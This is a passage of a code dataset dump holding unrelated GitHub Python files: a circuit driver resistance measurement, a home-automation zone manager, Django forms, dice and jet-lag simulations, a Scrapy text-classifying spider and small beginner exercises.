specs['stack_pd'] = dut.sch_master.params['stack_n']\n        self._dut = dut\n\n        mos_mapping = specs['mos_mapping']['lay' if specs['extract'] else 'sch']\n\n        # Find all transistors that match the passed in transistor names\n        # The passed in transistor name can match multiple \"transistors\" in the netlist\n        # in cases like seg > 1 or stack > 1\n        # TODO: allow for more complex name matching (e.g., via regex)\n        for mos, term in mos_mapping.items():\n            voff_list = [v for k, v in v_offset_map.items() if term in k and k.endswith('_d')]\n            if len(voff_list) == 0:\n                raise ValueError(f\"No matching transistor found for {term}\")\n            self._mos_mapping[mos] = voff_list\n\n        for k, v in gate_bias.items():\n            if v == 'full':\n                gate_bias[k] = vdd if k == 'pd' else 0\n            else:\n                gate_bias = self._eval_expr(v)\n\n        sup_values = dict(VDD=vdd, pden=gate_bias['pd'], puenb=gate_bias['pu'], out=vdd / 2)\n\n        tbm_specs = dict(**specs['tbm_specs'])\n        tbm_specs['sweep_var'] = 'v_out'\n        tbm_specs['sweep_options'] = dict(type='LINEAR')\n        for k in ['pwr_domain', 'sim_params', 'pin_values']:\n            if k not in tbm_specs:\n                tbm_specs[k] = {}\n        tbm_specs['dut_pins'] = list(dut.sch_master.pins.keys())\n        tbm_specs['load_list'] = []\n        tbm_specs['sup_values'] = sup_values\n\n        # Set all internal DC sources to 0 (since these are just used for current measurements)\n        tbm_specs['sim_params'].update({k: 0 for k in v_offset_map.values()})\n\n        tbm = cast(DCTB, sim_db.make_tbm(DCTB, tbm_specs))\n        self._tbm_info = tbm, {}\n\n        return False, MeasInfo('pd', {})\n\n    def _eval_expr(self, expr) -> float:\n        if isinstance(expr, str):\n            return Calculator.evaluate(expr, dict(vdd=self.specs['vdd']))\n        else:\n            return expr\n\n    def get_sim_info(self, sim_db: SimulationDB, dut: DesignInstance, cur_info: MeasInfo\n                     ) -> Tuple[Union[Tuple[TestbenchManager, Mapping[str, Any]],\n                                      MeasurementManager], bool]:\n        tbm = self._tbm_info[0]\n        drain_bias = self.specs['drain_bias'][cur_info.state]\n        drain_bias = list(map(self._eval_expr, drain_bias))\n\n        swp_options = dict(num=len(drain_bias))\n        if len(drain_bias) == 1:\n            swp_options['start'] = swp_options['stop'] = drain_bias[0]\n        elif len(drain_bias) == 2:\n            swp_options['start'], swp_options['stop'] = drain_bias\n        else:\n            raise ValueError(\"Either 1 or 2 values must be given for drain_bias\")\n        tbm.specs['sweep_options'].update(**swp_options)\n        return self._tbm_info, True\n\n    def process_output(self, cur_info: MeasInfo, sim_results: Union[SimResults, MeasureResult]\n                       ) -> Tuple[bool, MeasInfo]:\n        specs = self.specs\n        state = cur_info.state\n        data = cast(SimResults, sim_results).data\n        mos_mapping = self._mos_mapping[state]\n        stack = specs[f'stack_{state}']\n\n        # Compute the total current by the following:\n        # Find the drain current of all the unit transistors (the number of these transistors is seg * stack)\n        # Add all these currents together, then divide by the number of stacks (to approximate\n        # the sum of currents for each \"finger\"/parallel path of stacked transistors).\n        # This calculation assumes that the junction leakage is negligible compared to the measured current.\n        total_current = np.zeros(data.data_shape)\n        for sig in data.signals:\n            if any(filter(lambda x: x in sig, mos_mapping)):\n                total_current += data._cur_ana[sig]\n        total_current /= stack\n\n        # Calculate resistance\n        swp_options = self._tbm_info[0].specs['sweep_options']\n        if swp_options['num'] == 1:\n            res = swp_options['start'] / total_current[:, 0]\n        else:\n            res = (swp_options['stop'] - swp_options['start']) / (total_current[:, 1] - total_current[:, 0])\n        res = np.abs(res)\n\n        result = cur_info.prev_results.copy()\n        if state == 'pd':\n            result['sim_envs'] = data.sim_envs\n        result[f'res_{state}'] = res\n\n        next_state = 'done' if state == 'pu' else 'pu'\n        return next_state == 'done', MeasInfo(next_state, result)\n","repo_name":"bluecheetah/aib_ams","sub_path":"src/aib_ams/measurement/driver_pu_pd.py","file_name":"driver_pu_pd.py","file_ext":"py","file_size_in_byte":5506,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"42346449029","text":"\"\"\"\r\n Faça um algoritmo que receba o preço de custo e o preço de venda de 40 produtos. Mostre como resultado se houve lucro, prejuízo ou empate para cada produto. Informe a média de preço de custo e do preço de venda.\r\n\"\"\"\r\n\r\nsoma_custo = 0\r\nsoma_venda = 0\r\n\r\n\r\nfor i in range(1, 41):\r\n    print(f\"Produto {i}\")\r\n    preco_custo = float(input(\"Preço de custo: \"))\r\n    preco_venda = float(input(\"Preço de venda: \"))\r\n\r\n    \r\n    if preco_venda > preco_custo:\r\n        resultado = \"Lucro\"\r\n    elif preco_venda < preco_custo:\r\n        resultado = \"Prejuízo\"\r\n    else:\r\n        resultado = \"Empate\"\r\n\r\n    \r\n    soma_custo += preco_custo\r\n    soma_venda += preco_venda\r\n\r\n\r\n    print(f\"Resultado: {resultado}\")\r\n    print(\"\")\r\n\r\n\r\nmedia_custo = soma_custo / 40\r\nmedia_venda = soma_venda / 40\r\n\r\n\r\nprint(f\"Média de preço de custo: R$ {media_custo:.2f}\")\r\nprint(f\"Média de preço de venda: R$ {media_venda:.2f}\")\r\n\r\n\r\n","repo_name":"Tulio220/Lista_18_05","sub_path":"ex11.py","file_name":"ex11.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"29085768375","text":"import threading\nimport time\nfrom typing import Type, List, Any, Hashable\n\nfrom schedule import Scheduler\n\nfrom zone_api import platform_encapsulator as pe\nfrom zone_api.alert_manager import AlertManager\nfrom zone_api.core.devices.activity_times import ActivityTimes, ActivityType\nfrom zone_api.core.devices.astro_sensor import AstroSensor\nfrom zone_api.core.devices.vacation import Vacation\nfrom zone_api.core.zone import Zone\nfrom zone_api.core.zone_event import ZoneEvent\nfrom zone_api.core.device import Device\n\n\nclass EmailSettings:\n    \"\"\" Contains the settings for the email service. \"\"\"\n\n    def __init__(self, smtp_server: str, port: int, from_email_address: str, password: str):\n        if not smtp_server:\n            raise ValueError('smtp_server must be non-empty string')\n        if not from_email_address:\n            raise ValueError('from_email_address must be non-empty string')\n        if not password:\n            raise ValueError('password must be non-empty string')\n\n        self._smtp_server = smtp_server\n        self._port = port\n        self._from_email_address = from_email_address\n        self._password = password\n\n    @property\n    def smtp_server(self):\n        return self._smtp_server\n\n    @property\n    def port(self):\n        return self._port\n\n    @property\n    def from_email_address(self):\n        return self._from_email_address\n\n    @property\n    def password(self):\n        return self._password\n\n\nclass ImmutableZoneManager:\n    \"\"\"\n    Similar to ZoneManager, but this class contains read-only methods. Instances of this class is\n    passed to the method Action#on_action.\n\n    Provide the follow common services:\n      - Alert processing.\n      - Scheduler.\n\n    Instance of this class has life cycle:\n      - start() should be called first to indicate that the zones have been fully populated (outside\n        the scope of the class).\n      - stop() should be called when the object is no longer used.\n    \"\"\"\n\n    def __init__(self, get_zones_fcn, get_zone_by_id_fcn, get_devices_by_type_fcn,\n                 alert_manager: AlertManager = None, email_settings: EmailSettings = None,\n                 activity_times: ActivityTimes = None):\n        self.get_zones_fcn = get_zones_fcn\n        self.get_zone_by_id_fcn = get_zone_by_id_fcn\n        self.get_devices_by_type_fcn = get_devices_by_type_fcn\n        self.alert_manager = alert_manager\n        self.scheduler = Scheduler()\n\n        self._email_settings = email_settings\n        self._activity_times = activity_times\n\n        # noinspection PyTypeChecker\n        self.cease_continuous_run: threading.Event = None\n\n        # map from primary item name to zone for quick look-up.\n        self.item_name_to_zone = {}\n        self.fully_initialized = False\n\n    def start(self):\n        \"\"\"\n        Indicates that the zones are fully populated. The following actions will take place:\n          1. Map device item name to zone.\n          2. Start scheduler (if not in a unit test).\n          3. Send event ZoneEvent.STARTUP to each action.\n        \"\"\"\n        for z in self.get_zones():\n            for d in z.get_devices():\n                self.item_name_to_zone[d.get_item_name()] = z\n\n        if not pe.is_in_unit_tests():\n            self._start_scheduler()\n\n        self.fully_initialized = True\n\n        for z in self.get_zones():\n            z.dispatch_event(ZoneEvent.STARTUP, pe.get_event_dispatcher(), None, None, self)\n\n    def stop(self):\n        \"\"\"\n        Indicates that this object is no longer being used.\n        \"\"\"\n        self._cancel_scheduler()\n        self.fully_initialized = False\n\n    def set_alert_manager(self, alert_manager: AlertManager):\n        \"\"\" Sets the alert manager and returns a new instance of this class. \"\"\"\n\n        params = {'get_zones_fcn': self.get_zones_fcn,\n                  'get_zone_by_id_fcn': self.get_zone_by_id_fcn,\n                  'get_devices_by_type_fcn': self.get_devices_by_type_fcn,\n                  'email_settings': self.email_settings,\n                  'activity_times': self.activity_times,\n                  'alert_manager': alert_manager}\n        return ImmutableZoneManager(**params)\n\n    def set_system_config(self, config: dict[Hashable, Any]):\n        \"\"\"\n        Sets the system configuration. This method will construct various settings object from the ``config``. They are\n        accessible via the various properties.\n\n        :param dict[Hashable, Any] config: the value read from a yaml file via `yaml.safe_load(file)`.\n        \"\"\"\n        email_service = config['system']['email-service']\n        email_settings = EmailSettings(email_service['smtp-server'], email_service['port'],\n                                       email_service['sender-email'], email_service['sender-password'])\n\n        pe.log_info(f\"Email service settings: {email_settings.smtp_server}, {email_settings.port}, \"\n                    f\"{email_settings.from_email_address}\")\n\n        activity_times = self._create_activity_times(config)\n        pe.log_info(f\"Configured {activity_times.number_of_activities} activities.\")\n\n        params = {'get_zones_fcn': self.get_zones_fcn,\n                  'get_zone_by_id_fcn': self.get_zone_by_id_fcn,\n                  'get_devices_by_type_fcn': self.get_devices_by_type_fcn,\n                  'alert_manager': self.alert_manager,\n                  'email_settings': email_settings,\n                  'activity_times': activity_times,\n                  }\n        return ImmutableZoneManager(**params)\n\n    @staticmethod\n    def _create_activity_times(config: dict[Hashable, Any]) -> ActivityTimes:\n        \"\"\" Returns a map from ActivityType to time range string. \"\"\"\n\n        if 'system' not in config:\n            raise ValueError(\"Expect 'system' object.\")\n\n        if 'activity-times' not in config['system']:\n            raise ValueError(\"Expect 'system -> activity-times' object.\")\n\n        # Map to proper enum key\n        raw_map = config['system']['activity-times']\n        activities: dict[ActivityType, str] = {}\n        for key in raw_map.keys():\n            activities[ActivityType(key)] = raw_map[key]\n\n        return ActivityTimes(activities)\n\n    @property\n    def email_settings(self) -> EmailSettings:\n        \"\"\" Returns the :class:`.EmailSettings` instance constructed from the system configuration. \"\"\"\n        return self._email_settings\n\n    @property\n    def activity_times(self) -> ActivityTimes:\n        \"\"\" Returns the :class:`.ActivityTimes` instance constructed from the system configuration. \"\"\"\n        return self._activity_times\n\n    def get_alert_manager(self) -> AlertManager:\n        return self.alert_manager\n\n    def get_scheduler(self) -> Scheduler:\n        \"\"\" Returns the Scheduler instance \"\"\"\n        return self.scheduler\n\n    def _start_scheduler(self, interval_in_seconds=1) -> threading.Event:\n        \"\"\" Runs the scheduler in a separate thread. \"\"\"\n\n        class ScheduleThread(threading.Thread):\n            @classmethod\n            def run(cls):\n                while not self.cease_continuous_run.is_set():\n                    self.scheduler.run_pending()\n                    time.sleep(interval_in_seconds)\n\n                pe.log_info(\"Cancelled the scheduler service.\")\n\n        if self.cease_continuous_run is None:\n            self.cease_continuous_run = threading.Event()\n            continuous_thread = ScheduleThread()\n            continuous_thread.start()\n\n            pe.log_info(\"Started the scheduler service.\")\n\n        return self.cease_continuous_run\n\n    def _cancel_scheduler(self):\n        \"\"\" Cancel the scheduler thread if it was started. \"\"\"\n        if self.cease_continuous_run is not None:\n            self.cease_continuous_run.set()\n\n    def get_containing_zone(self, device):\n        \"\"\"\n        Returns the first zone containing the device or None if the device\n        does not belong to a zone.\n\n        :param Device device: the device\n        :rtype: Zone or None\n        \"\"\"\n        if device is None:\n            raise ValueError('device must not be None')\n\n        for zone in self.get_zones():\n            if zone.has_device(device):\n                return zone\n\n        return None\n\n    def get_zones(self) -> List[Zone]:\n        \"\"\"\n        Returns a new list contains all zone.\n\n        :rtype: list(Zone)\n        \"\"\"\n        return self.get_zones_fcn()\n\n    def get_zone_by_id(self, zone_id):\n        \"\"\"\n        Returns the zone associated with the given zone_id.\n\n        :param string zone_id: the value returned by Zone::get_id()\n        :return: the associated zone or None if the zone_id is not found\n        :rtype: Zone\n        \"\"\"\n        return self.get_zone_by_id_fcn(zone_id)\n\n    def get_zone_by_item_name(self, item_name):\n        \"\"\"\n        Returns the zone associated with the given item_name.\n\n        :param str item_name:\n        :return: the associated zone or None if the item_name is not found\n        :rtype: Zone\n        \"\"\"\n        return self.item_name_to_zone[item_name] if item_name in self.item_name_to_zone.keys() else None\n\n    def get_devices_by_type(self, cls: Type):\n        \"\"\"\n        Returns a list of devices in all zones matching the given type.\n\n        :param Device cls: the device type\n        :rtype: list(Device)\n        \"\"\"\n        return self.get_devices_by_type_fcn(cls)\n\n    def is_in_vacation(self):\n        \"\"\" Returns true if at least one device indicates that the house is in vacation mode, vie Vacation class. \"\"\"\n        for z in self.get_zones():\n            for d in z.get_devices_by_type(Vacation):\n                if d.is_in_vacation():\n                    return True\n\n        return False\n\n    def is_light_on_time(self):\n        \"\"\"\n        Returns True if it is light-on time; returns false if it is no. Returns None if there is no AstroSensor to\n        determine the time.\n\n        :rtype: bool or None\n        \"\"\"\n        has_astro_sensors = False\n        for z in self.get_zones():\n            astro_sensors = z.get_devices_by_type(AstroSensor)\n            if len(astro_sensors) > 0:\n                has_astro_sensors = True\n                value = any(s.is_light_on_time() for s in astro_sensors)\n                if value:\n                    return True\n\n        if not has_astro_sensors:\n            return None\n        else:\n            return False\n\n    def get_first_device_by_type(self, cls: type):\n        \"\"\"\n        Returns the first device matching the given type, or None if there is no device.\n\n        :param type cls: the device type\n        \"\"\"\n        devices = self.get_devices_by_type(cls)\n        return devices[0] if len(devices) > 0 else None\n\n    def dispatch_event(self, zone_event: ZoneEvent, open_hab_events, device: Device, item):\n        \"\"\"\n        Dispatches the event to the zones.\n\n        :param Device device: the device containing the triggered item; a device may contain multiple items.\n        :param Any item: the triggered item.\n        :param ZoneEvent zone_event:\n        :param events open_hab_events:\n        \"\"\"\n        # noinspection PyProtectedMember\n        device.update_last_activated_timestamp()\n\n        return_values = []\n\n        # Small optimization: dispatch directly to the applicable zone first if we can determine\n        # the zone id from the item name.\n        owning_zone: Zone = self.get_zone_by_item_name(pe.get_item_name(item))\n        if owning_zone is not None:\n            value = owning_zone.dispatch_event(zone_event, open_hab_events, device, item, self, owning_zone)\n            return_values.append(value)\n\n        # Then continue to dispatch to other zones even if a priority zone has been dispatched to.\n        # This allows action to process events from other zones.\n        for z in self.get_zones():\n            if z is not owning_zone:\n                value = z.dispatch_event(zone_event, open_hab_events, device, item, self, owning_zone)\n                return_values.append(value)\n\n        return any(return_values)\n\n    # noinspection PyUnusedLocal,PyMethodMayBeStatic\n    def on_network_device_connected(self, events, device, item):\n        \"\"\"\n        Dispatches the network device connected (to local network) to each zone.\n\n        :return: True if at least one zone processed the event; False otherwise\n        :rtype: bool\n        \"\"\"\n        # noinspection PyProtectedMember\n        device.update_last_activated_timestamp()\n\n        return True\n\n    def on_switch_turned_on(self, events, device, item):\n        \"\"\"\n        Dispatches the switch turned on event to each zone.\n\n        :return: True if at least one zone processed the event; False otherwise\n        :rtype: bool\n        \"\"\"\n        # noinspection PyProtectedMember\n        device.update_last_activated_timestamp()\n\n        return_values = [z.on_switch_turned_on(events, item, self) for z in self.get_zones()]\n        return any(return_values)\n\n    # noinspection PyUnusedLocal\n    def on_switch_turned_off(self, events, device, item):\n        \"\"\"\n        Dispatches the switch turned off event to each zone.\n\n        :return: True if at least one zone processed the event; False otherwise\n        :rtype: bool\n        \"\"\"\n        return_values = []\n        for z in self.get_zones():\n            return_values.append(z.on_switch_turned_off(events, item, self))\n        return any(return_values)\n\n    def __str__(self):\n        value = u\"\"\n        for z in self.get_zones():\n            value = f\"{value}\\n{str(z)}\"\n\n        return value\n","repo_name":"yfaway/zone-apis","sub_path":"src/zone_api/core/immutable_zone_manager.py","file_name":"immutable_zone_manager.py","file_ext":"py","file_size_in_byte":13444,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"30434168416","text":"from django import forms\nfrom .models import  CapacitacionCabecera, CapacitacionDetalle\n\nfrom django.forms.models import inlineformset_factory\n\n\nclass CapacitacionCabeceraForm(forms.ModelForm):\n      #validaciones para que se envie como mayusculas los datos\n    def clean_tema(self):\n        data = self.cleaned_data[\"tema\"].upper()\n        return data\n\n    def clean_lugar(self):\n        data = self.cleaned_data[\"lugar\"].upper()\n        return data\n    \n    def clean_objetivo(self):\n        data = self.cleaned_data[\"objetivo\"].upper()\n        return data\n\n    def clean_dirigido(self):\n        data = self.cleaned_data[\"dirigido\"].upper()\n        return data\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields['areaSolicitante'].empty_label = \"------N/A--------\"\n       \n\n    class Meta:\n\n        model = CapacitacionCabecera\n        fields = (\n            'fecha',\n            'hora_inicio', \n            'hora_fin' ,\n            'lugar' ,\n            'tema',\n            'tipoCapacitacion', \n            'areaSolicitante' ,\n            'dirigido', \n            'instructor', \n            'objetivo',\n            )\n\n   \n        \n        widgets = {\n            'fecha': forms.DateInput(format=('%Y-%m-%d'),\n                attrs={\n                    'type':'date',\n                    'class': 'form-control',\n                    'autofocus':'autofocus'\n                }\n            ),\n            'hora_inicio': forms.TextInput(\n                attrs={\n                    'type':'time',\n                    'class': 'form-control'\n                }\n            ),\n            'hora_fin' : forms.TextInput(\n                attrs={\n                    'type':'time',\n                    'class': 'form-control'\n                }\n            ),\n            'lugar' : forms.TextInput(\n                attrs={\n                    'class': 'form-control solo-letra'\n                }\n            ),\n            'tema': forms.TextInput(\n                attrs={\n                    'class': 'form-control solo-letra'\n                }\n            ),\n            'tipoCapacitacion': forms.Select(\n                attrs={\n                     'class': 'form-control select'\n                }\n            ), \n            'areaSolicitante' : forms.Select(\n                attrs={\n                    'class': 'form-control select'\n                }\n            ),\n            'dirigido': forms.TextInput(\n                attrs={\n                    'class': 'form-control solo-letra'\n                }\n            ),\n            'instructor': forms.Select(\n                attrs={\n                     'class': 'form-control '\n                }\n            ),\n            'objetivo': forms.TextInput(\n                attrs={\n                    'class': 'form-control solo-letra'\n                }\n            ),\n           \n        }\n\n\nclass CapacitacionDetalleForm(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields['empleado'].empty_label = \"------N/A--------\"\n   \n    class Meta:\n\n        model = CapacitacionDetalle\n        fields = (\n            'capacitacionCabecera',\n            'empleado',\n            'observacion', \n                    \n            )\n        \n        widgets = {\n            'empleado': forms.Select(\n                attrs={\n                    'onkeyup':\"javascript:this.value=this.value.toUpperCase();\",\n                    'class': 'form-control select'\n                }\n            ),\n            'observacion':forms.Textarea(\n                attrs={\n                    'class': 'form-control solo-letra',\n                    \"rows\":1, \"cols\":10\n                }\n            ),\n        }\n\nCapacitacionCabDetalleForm = inlineformset_factory(CapacitacionCabecera,CapacitacionDetalle,\n    form=CapacitacionDetalleForm, extra=1,can_delete= True) \n","repo_name":"KevinPeraltaF/SofwareMies","sub_path":"mies/capacitacion/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"19316931036","text":"\r\nimport random\r\ntotal = 0\r\ntries = 100000\r\n\r\ndie = 6\r\nnum = 8\r\n\r\nsave = True\r\nadvantage = False\r\n\r\n\r\nfor i in range(0, tries):\r\n    rolls = [0 ] *num\r\n    for i in range(0, num):\r\n        rolls[i] = random.randint(1, die)\r\n    rolls = sorted(rolls)\r\n    for i in range(0, num):\r\n        if rolls[i] == 1:\r\n            rolls[i] = random.randint(1, die)\r\n    total += sum(rolls)\r\n\r\nif save:\r\n    for dex in range(-5,6):\r\n    \r\n        flames = total / tries\r\n        other = num *( 1. +die ) /2\r\n        chanceA = (20. - 15. + 1 + dex) / 20.\r\n        chanceB = (20. - 16. + 1 + dex) / 20.\r\n        \r\n        print(\"DEX=\" + str(dex))\r\n        print(\"flames \" + str(flames*(1.-chanceA) + flames/2.*chanceA))\r\n        print(\"ASI \" + str(other*(1.-chanceB) + other/2.*chanceB))\r\n        print(\"NOW \" + str(other * (1. - chanceA) + other / 3. * chanceA))\r\nelse:\r\n    if advantage is False:\r\n        crit = 0.05\r\n    else:\r\n        crit = 0.0975\r\n    for AC in range(10, 18):\r\n        flames = total / tries\r\n        other = num * (1. + die) / 2\r\n        chanceA = (20. - AC + 1 + 7) / 20.\r\n        if advantage:\r\n            chanceA = 1 - (1-chanceA)*(1-chanceA)\r\n        if chanceA > 1:\r\n            chanceA = 1\r\n        if chanceA < crit:\r\n            chanceA = crit\r\n        chanceB = (20. - AC + 1 + 8) / 20.\r\n        if advantage:\r\n            chanceB = 1 - (1-chanceB)*(1-chanceB)\r\n        if chanceB > 1:\r\n            chanceB = 1\r\n        if chanceB < crit:\r\n            chanceB = crit\r\n        \r\n        print(\"AC=\" + str(AC))\r\n        print(\"flames \" + str(flames * (chanceA - crit) + crit*flames*2))\r\n        print(\"ASI \" + str(other *(chanceB- crit) + crit*other*2))\r\n        print(\"NOW \" + str(other * (chanceA - crit) + crit * other * 2))","repo_name":"Cockie/DnDStuff","sub_path":"Python scripts/flames.py","file_name":"flames.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74687454179","text":"import codecs\nimport html\nimport logging\nimport os\nimport re\n\nimport nltk.tokenize as tok\nimport scrapy\n\nimport infstruments.classify as cla\n\nclass BroadbandSpider(scrapy.Spider):\n    \"\"\" Experimental generic spider to extract sentences of natural language.\n\n    USAGE:\n    $ scrapy crawl sentences_broadband -a url=https://en.wikipedia.org/wiki/Radio -o radio.json --logfile crawl.log\n    \"\"\"\n    name = \"sentences_broadband\"\n    TAKE = \"_TAKE_\"\n    DROP = \"_DROP_\"\n    OPEN = \"_OPEN_\"\n    SPIDER_SPECIFIC_DEFAULTS = {\n                'url': \"https://en.wikipedia.org/wiki/Band-pass_filter\",\n                'trainpath': \"training\",\n                'code': \"code_aa.txt\",\n                'nlang': \"nlang-de_aa.txt\",\n                'unclear': \"json_aa.txt\"\n            }\n    def __init__(self, *args, **kwargs):\n        def _preproc(s):\n            \"\"\" Preprocessing string content for character frequency analysis.\n\n            Map string content so that the character frequency in the resulting\n            string makes it easy to distinguish program code from natural\n            language.\n            \"\"\"\n            s = re.sub('[#@^]', '@', s) # Special chars in natural language\n            s = re.sub(r'\\d', '#', s)   # Digits\n            s = re.sub(r'\\w', 'L', s)   # Characters (digits already replaced)\n            ### program language related specials\n            s = re.sub(r'===|!==|\\(\\);', 'ccc', s)  # 3 char operators\n            ### Typical elements in code: () && || ... =\" !=\n            s = re.sub(r'\\(\\)|&&|\\|\\||\\+\\+|--|[-+!=<>]=|!!|=[\\'\"]', 'cc', s)\n            s = re.sub(r'[<>|@/\\\\{}\\[\\]()]', ']', s)  # braces\n            return s\n        logging.info(\"sentences_broadband: __init__\")\n        logging.info(\"args:%s kwargs:%s\" % (args, kwargs))\n        self.spsp_settings = BroadbandSpider.SPIDER_SPECIFIC_DEFAULTS\n        self.spsp_settings.update(kwargs)\n        BroadbandSpider.start_urls = [self.spsp_settings['url']]\n        # load training examples for programming code\n        fname = os.path.join(self.spsp_settings['trainpath'],\n                             self.spsp_settings['code'])\n        f = codecs.open(fname, \"r\", encoding=\"utf-8\")\n        code = [ re.sub(r\"[\\n\\r]\", \"\", c) for c in f.readlines() ]\n        f.close()\n        # load training examples for natural language\n        fname = os.path.join(self.spsp_settings['trainpath'],\n                             self.spsp_settings['nlang'])\n        f = codecs.open(fname, \"r\", encoding=\"utf-8\")\n        nlang = [ re.sub(r\"[\\n\\r]\", \"\", c) for c in f.readlines() ]\n        f.close()\n        # load training examples for cases to keep open/undecided\n        fname = os.path.join(self.spsp_settings['trainpath'],\n                             self.spsp_settings['unclear'])\n        f = codecs.open(fname, \"r\", encoding=\"utf-8\")\n        unclear = [ re.sub(r\"[\\n\\r]\", \"\", c) for c in f.readlines() ]\n        f.close()\n        training = code + nlang + unclear\n        target = ( [BroadbandSpider.DROP]*len(code)\n                 + [BroadbandSpider.TAKE]*len(nlang)\n                 + [BroadbandSpider.OPEN]*len(unclear))\n        self.clfier = cla.CharStatsClassifier(\n                    training, target, preproc=_preproc, debuglog=True)\n        super().__init__(*args, **kwargs)\n\n    def parse(self, response):\n        logging.info(\"parse: %s\" % response.url)\n        for h1 in response.css('h1::text').getall():\n            yield { 'h1': h1 }\n        all_texts = []\n        for text in response.css('body *::text').getall():\n            text = html.unescape(text.strip())\n            text = re.sub(\"\\s+\", \" \", text)\n            if text == \"\": continue\n            if len(text) < 10:\n                logging.debug(\"P: _SMALL_ %s\" % text)\n                all_texts.append(text)\n            else:\n                cla = self.clfier.classify_s(text)\n                if cla in [BroadbandSpider.DROP, BroadbandSpider.OPEN]:\n                    all_texts.append(\"-X-\")\n                else:\n                    all_texts.append(text)\n        sentences = tok.sent_tokenize(\" \".join(all_texts))\n        for sent in sentences:\n            yield {'sentence': sent}\n","repo_name":"broesamle/websampler","sub_path":"websampler/spiders/sentences_broadband.py","file_name":"sentences_broadband.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41203099207","text":"from graphics import *\nimport time\nimport numpy as np\nimport math\nimport random\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\nfrom scipy.optimize import fsolve\n\ndelta = 3.8e-3\nomega = 1.4 * delta\nk = 4.5 * delta\nf = 3.5 * delta\nsigma = (2 * math.pi )/24\ndt = 0.01\nzst_real = 0.798349\nzst_imag = -0.344415\n\ndef weight_summat(thetas, theta):\n    total = 0\n    for angle in thetas:\n        total += math.sin(angle - theta)\n    return total\n\ndef second_part(theta, distance, t):\n    ans = f * math.sin(sigma * t + distance)\n    return ans\n\ndef change(previous_theta, time, thetas, distance):\n    total = omega + k/100 * weight_summat(thetas, previous_theta) + second_part(previous_theta, distance, time)\n    new_theta = previous_theta + (dt * total) \n    return new_theta\n\ndef randomly(angle):\n\texport = []\n\tfor i in range(1, 100):\n\t\tang_real = math.cos(angle)\n\t\tang_imag = math.sin(angle)\n\t\tnew_real = ang_real * zst_real - ang_imag * zst_imag\n\t\tnew_imag = ang_imag * zst_real + ang_real * zst_imag\n\t\tnew_ang = math.atan(new_imag/new_real)\n\t\texport.append(new_ang+(random.random()-.5)*0.1)\n\treturn export\n\n\ndef start(angle):\n\tt = 0\n\tdif = 0\n\tt_tb = []\n\tpoints = []\n\tvalues = randomly(angle)\n\tmagnitude_dif = 5\n\twhile (magnitude_dif>0.3):\n\t\tholder = []\n\t\tfor item in values:\n\t\t\tnew = change(item, t, values, angle)\n\t\t\tholder.append(new)\n\t\taverage_sum_x = 0\n\t\taverage_sum_y = 0\n\t\tfor element in holder:\n\t\t\texponent = element - (t * sigma) - angle\n\t\t\tang_to_calculate = exponent / math.pi \n\t\t\taverage_sum_x += math.cos(ang_to_calculate)\n\t\t\taverage_sum_y += math.sin(ang_to_calculate)\n\t\taverage_x = average_sum_x / 100\n\t\taverage_y = average_sum_y / 100\n\t\tz_dif_x = zst_real - average_x\n\t\tz_dif_y = zst_imag - average_y\n\t\tmagnitude_dif = math.sqrt((z_dif_x)**2 + (z_dif_y)**2)\n\t\tpoints.append(magnitude_dif)\n\t\tt_tb.append(t)\n\t\tprint(magnitude_dif)\n\t\tt += 0.01\n\treturn t_tb, points\n        \nt1, list1=start(math.pi*3/12)\nt2, list2=start(math.pi*6/12)\nt3, list3 = start(math.pi*9/12)\nt4, list4=start(math.pi*-3/12)\nt5, list5=start(math.pi*-6/12)\nt6, list6 = start(math.pi*-9/12)\nplt.plot(t1, list1, color=\"red\", label=\"+3hrs\")\nplt.plot(t2, list2, color=\"orange\", label=\"+6hrs\")\nplt.plot(t3, list3, color=\"yellow\", label=\"+9hrs\")\nplt.plot(t4, list4, color=\"green\", label=\"-3hrs\")\nplt.plot(t5, list5, color=\"blue\", label=\"-6hrs\")\nplt.plot(t6, list6, color=\"indigo\", label=\"-9hrs\")\nplt.title(\"Jet Lag\")\nplt.xlabel(\"Relative Time\")\nplt.ylabel(\"R(t) - R_st (magnitude)\")\nplt.xlim(xmin=0)\nplt.ylim(ymin=.3)\nplt.legend()\nplt.show()","repo_name":"tovaio/IMMC-2017","sub_path":"dynamicgraphdank.py","file_name":"dynamicgraphdank.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73943329381","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 29 13:45:54 2020\n\n@author: sg24x7\n\"\"\"\n\nimport random, sys\nprint('I am thinking of a number between 1 and 20')\nans = random.randint(1, 20)\nfor i in range(5):\n    print('Take a guess')\n    guess = int(input())\n    if guess==ans:\n        break\n    elif guess<ans:\n        print('Your guess is too low!')\n    elif guess>ans:\n        print('Your guess is too high.')\nif guess==ans:\n    print('Congratulations! You guesssed the number in '+str(i+1)+' chances.')\nelse:\n    print('Better luck next time!!')","repo_name":"glitchpop-frenzy/python_repos","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
